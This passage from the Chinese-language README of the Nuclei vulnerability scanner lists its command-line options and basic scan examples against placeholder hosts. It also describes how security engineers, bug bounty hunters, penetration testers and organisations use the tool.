   -s, -severity value[]                 根据严重程度运行模板,可候选的值有:info,low,medium,high,critical   
   -es, -exclude-severity value[]        根据严重程度排除模板,可候选的值有:info,low,medium,high,critical
   -pt, -type value[]                    根据协议运行模板,可候选的值有:dns, file, http, headless, network, workflow, ssl, websocket, whois
   -ept, -exclude-type value[]           根据协议排除模板,可候选的值有:dns, file, http, headless, network, workflow, ssl, websocket, whois
   -tc, -template-condition string[]      根据表达式运行模板
   

输出:
   -o, -output string                    输出发现的问题到文件
   -sresp, -store-resp                   将nuclei的所有请求和响应输出到目录
   -srd, -store-resp-dir string          将nuclei的所有请求和响应输出到指定目录(默认:output)
   -silent                               只显示结果
   -nc, -no-color                        禁用输出内容着色(ANSI转义码)
   -json                                 输出为jsonL(ines)
   -irr, -include-rr                     在JSONL中输出对应的请求和相应(仅结果)
   -nm, -no-meta                         不显示匹配的元数据
   -nts, -no-timestamp                   不在输出中显示时间戳
   -rdb, -report-db string               本地的Nuclei结果数据库(始终使用该数据库保存结果)
   -ms, -matcher-status                  显示匹配失败状态
   -me, -markdown-export string          以markdown导出结果
   -se, -sarif-export string             以SARIF导出结果

配置:
   -config string                        指定Nuclei的配置文件
   -fr, -follow-redirects                为HTTP模板启用重定向
   -fhr, -follow-host-redirects          在同一主机上重定向
   -mr, -max-redirects int               HTTP模板最大重定向次数(默认:10)
   -dr, -disable-redirects               为HTTP模板禁用重定向
   -rc, -report-config string            指定Nuclei报告模板文件
   -H, -header string[]                  指定header、cookie,以header:value的方式(cli,文件)
   -V, -var value                        通过key=value指定var值
   -r, -resolvers string                 指定Nuclei的解析文件
   -sr, -system-resolvers                当DNS错误时使用系统DNS
   -passive                              启用被动扫描处理HTTP响应
   -ev, env-vars                         在模板中使用环境变量
   -cc, -client-cert string              用于对扫描的主机进行身份验证的客户端证书文件(PEM 编码)
   -ck, -client-key string               用于对扫描的主机进行身份验证的客户端密钥文件(PEM 编码)
   -ca, -client-ca string                用于对扫描的主机进行身份验证的客户端证书颁发机构文件(PEM 编码)
   -sml, -show-match-line                显示文件模板的匹配值,只适用于提取器
   -ztls                                 对ztls自动退回到tls13
   -sni string                           指定tls sni的主机名(默认为输入的域名)
   -i, -interface string                 指定网卡
   -sip, -source-ip string               指定源IP
   -config-directory string              重写默认配置路径($home/.config)
   -rsr, -response-size-read int         最大读取响应大小(默认:10485760字节)
   -rss, -response-size-save int         最大储存响应大小(默认:10485760字节)

交互:
   -inserver, -ineractsh-server string   使用interactsh反连检测平台(默认为oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
   -itoken, -interactsh-token string     指定反连检测平台的身份凭证
   -interactions-cache-size int          指定保存在交互缓存中的请求数(默认:5000)
   -interactions-eviction int            从缓存中删除请求前等待的时间(默认为60秒)
   -interactions-poll-duration int       每个轮询前等待时间(默认为5秒)
   -interactions-cooldown-period int     退出轮询前的等待时间(默认为5秒)
   -ni, -no-interactsh                   禁用反连检测平台,同时排除基于反连检测的模板

限速:
   -rl, -rate-limit int                  每秒最大请求量(默认:150)
   -rlm, -rate-limit-minute int          每分钟最大请求量
   -bs, -bulk-size int                   每个模板最大并行检测数(默认:25)
   -c, -concurrency int                  并行执行的最大模板数量(默认:25)
   -hbs, -headless-bulk-size int         每个模板并行运行的无头主机最大数量(默认:10)
   -headc, -headless-concurrency int     并行指定无头主机最大数量(默认:10)


优化:
   -timeout int                          超时时间(默认为10秒)
   -retries int                          重试次数(默认:1)
   -ldp, -leave-default-ports            指定HTTP/HTTPS默认端口(例如:host:80,host:443)
   -mhe, -max-host-error int             某主机扫描失败次数,跳过该主机(默认:30)
   -project                              使用项目文件夹避免多次发送同一请求
   -project-path string                  设置特定的项目文件夹
   -spm, -stop-at-first-path             得到一个结果后停止(或许会中断模板和工作流的逻辑)
   -stream                               流模式 - 在不整理输入的情况下详细描述
   -irt, -input-read-timeout duration    输入读取超时时间(默认:3分钟)
   -no-stdin                             禁用标准输入

无界面浏览器:
    -headless                            启用需要无界面浏览器的模板
    -page-timeout int                    在无界面下超时秒数(默认:20)
    -sb, -show-brower                    在无界面浏览器运行模板时,显示浏览器
    -sc, -system-chrome                  不使用Nuclei自带的浏览器,使用本地浏览器
    -lha, -list-headless-action          列出可用的无界面操作

调试:
    -debug                               显示所有请求和响应
    -dreq, -debug-req                    显示所有请求
    -dresp, -debug-resp                  显示所有响应
    -p, -proxy string[]                  使用http/socks5代理(逗号分隔,文件)
    -pi, -proxy-internal                 代理所有请求
    -ldf, -list-dsl-function             列出所有支持的DSL函数签名
    -tlog, -trace-log string             写入跟踪日志到文件
    -elog, -error-log string             写入错误日志到文件
    -version                             显示版本信息
    -hm, -hang-monitor                   启用Nuclei的监控
    -v, -verbose                         显示详细信息
    -profile-mem string                  将Nuclei的内存转储成文件
    -vv                                  显示额外的详细信息
    -ep, -enable-pprof                   启用pprof调试服务器
    -tv, -templates-version              显示已安装的模板版本
    -hc, -health-check                   运行诊断检查

升级:
    -update                              更新Nuclei到最新版本
    -ut, -update-templates               更新Nuclei模板到最新版
    -ud, -update-directory string        覆盖安装模板
    -duc, -disable-update-check          禁用更新

统计:
    -stats                               显示正在扫描的统计信息
    -sj, -stats-json                     将统计信息以JSONL格式输出到文件
    -si, -stats-inerval int              显示统计信息更新的间隔秒数(默认:5)
    -m, -metrics                         显示Nuclei端口信息
    -mp, -metrics-port int               更改Nuclei默认端口(默认:9092)

运行Nuclei

使用社区提供的模板扫描单个目标

nuclei -u https://example.com

使用社区提供的模板扫描多个目标

nuclei -list urls.txt

Example of urls.txt:

http://example.com
http://app.example.com
http://test.example.com
http://uat.example.com

更多关于Nuclei的详细实例可以在这里找到

对于安全工程师

Nuclei提供了大量有助于安全工程师在工作流定制相关的功能。通过各种扫描功能(如DNS、HTTP、TCP),安全工程师可以更轻松的使用Nuclei创建一套自定义的检查方式。

  • 支持多种协议:TCP、DNS、HTTP、FILE等
  • 通过工作流和动态请求实现复杂的漏洞扫描
  • 易于集成到CI/CD,旨在可以轻松的集成到周期扫描中,以主动检测漏洞的修复和重新出现

    Learn More



    对于赏金猎人:

    Nuclei允许您定制自己的测试方法,可以轻松的运行您的程序。此外Nuclei可以更容易的集成到您的漏洞扫描工作流中。

    • 可以集成到其他工作流中
    • 可以在几分钟处理上千台主机
    • 使用YAML语法定制自动化测试

    欢迎查看我们其他的开源项目,可能有适合您的赏金猎人工作流:github.com/projectdiscovery,我们还使用Chaos绘制了每日的DNS数据

    对于渗透测试:

    Nuclei通过增加手动、自动的过程,极大地改变了安全评估的方式。一些公司已经在用Nuclei升级他们的手动测试步骤,可以使用Nulcei对数千台主机使用同样的流程自动化测试。

    渗透测试员可以使用公共模板或者自定义模板来更快的完成渗透测试,特别是漏洞验证时,可以轻松的验证漏洞是否修复。

    • 轻松根据您的要求创建标准清单(例如:OWASP TOP 10)
    • 通过FUZZ工作流等功能,可以使用Nuclei完成复杂的手动步骤和重复性渗透测试
    • 只需要重新运行Nuclei即可验证漏洞修复情况

对于开发和组织

Nuclei构建很简单,通过数百名安全研究员的社区模板,Nuclei可以随时扫描来了解安全威胁。Nuclei通常用来用于复测,以确定漏洞是否被修复。

  • CI/CD:工程师已经支持了CI/CD,可以通过Nuclei使用定制模板来监控模拟环境和生产环境
  • 周期性扫描:使用Nuclei创建新发现的漏洞模板,通过Nuclei可以周期性扫描消除漏洞

我们有个讨论组,黑客提交自己的模板后可以获得赏金,这可以减少资产的漏洞,并且减少重复。如果你想实行该计划,可以联系我。我们非常乐意提供帮助,或者在讨论组中发布相关信息。

regression-cycle-with-nuclei

Learn More

资源

致谢

感谢所有社区贡献者提供的PR,另外您可以其他类似的开源项目:

FFuF, Qsfuzz, Inception, Snallygaster, Gofingerprint, Sn1per, Google tsunami, Jaeles, ChopChop

许可证

Nuclei使用MIT许可证

Join Discord
Check Nuclei Documentation

❌
❌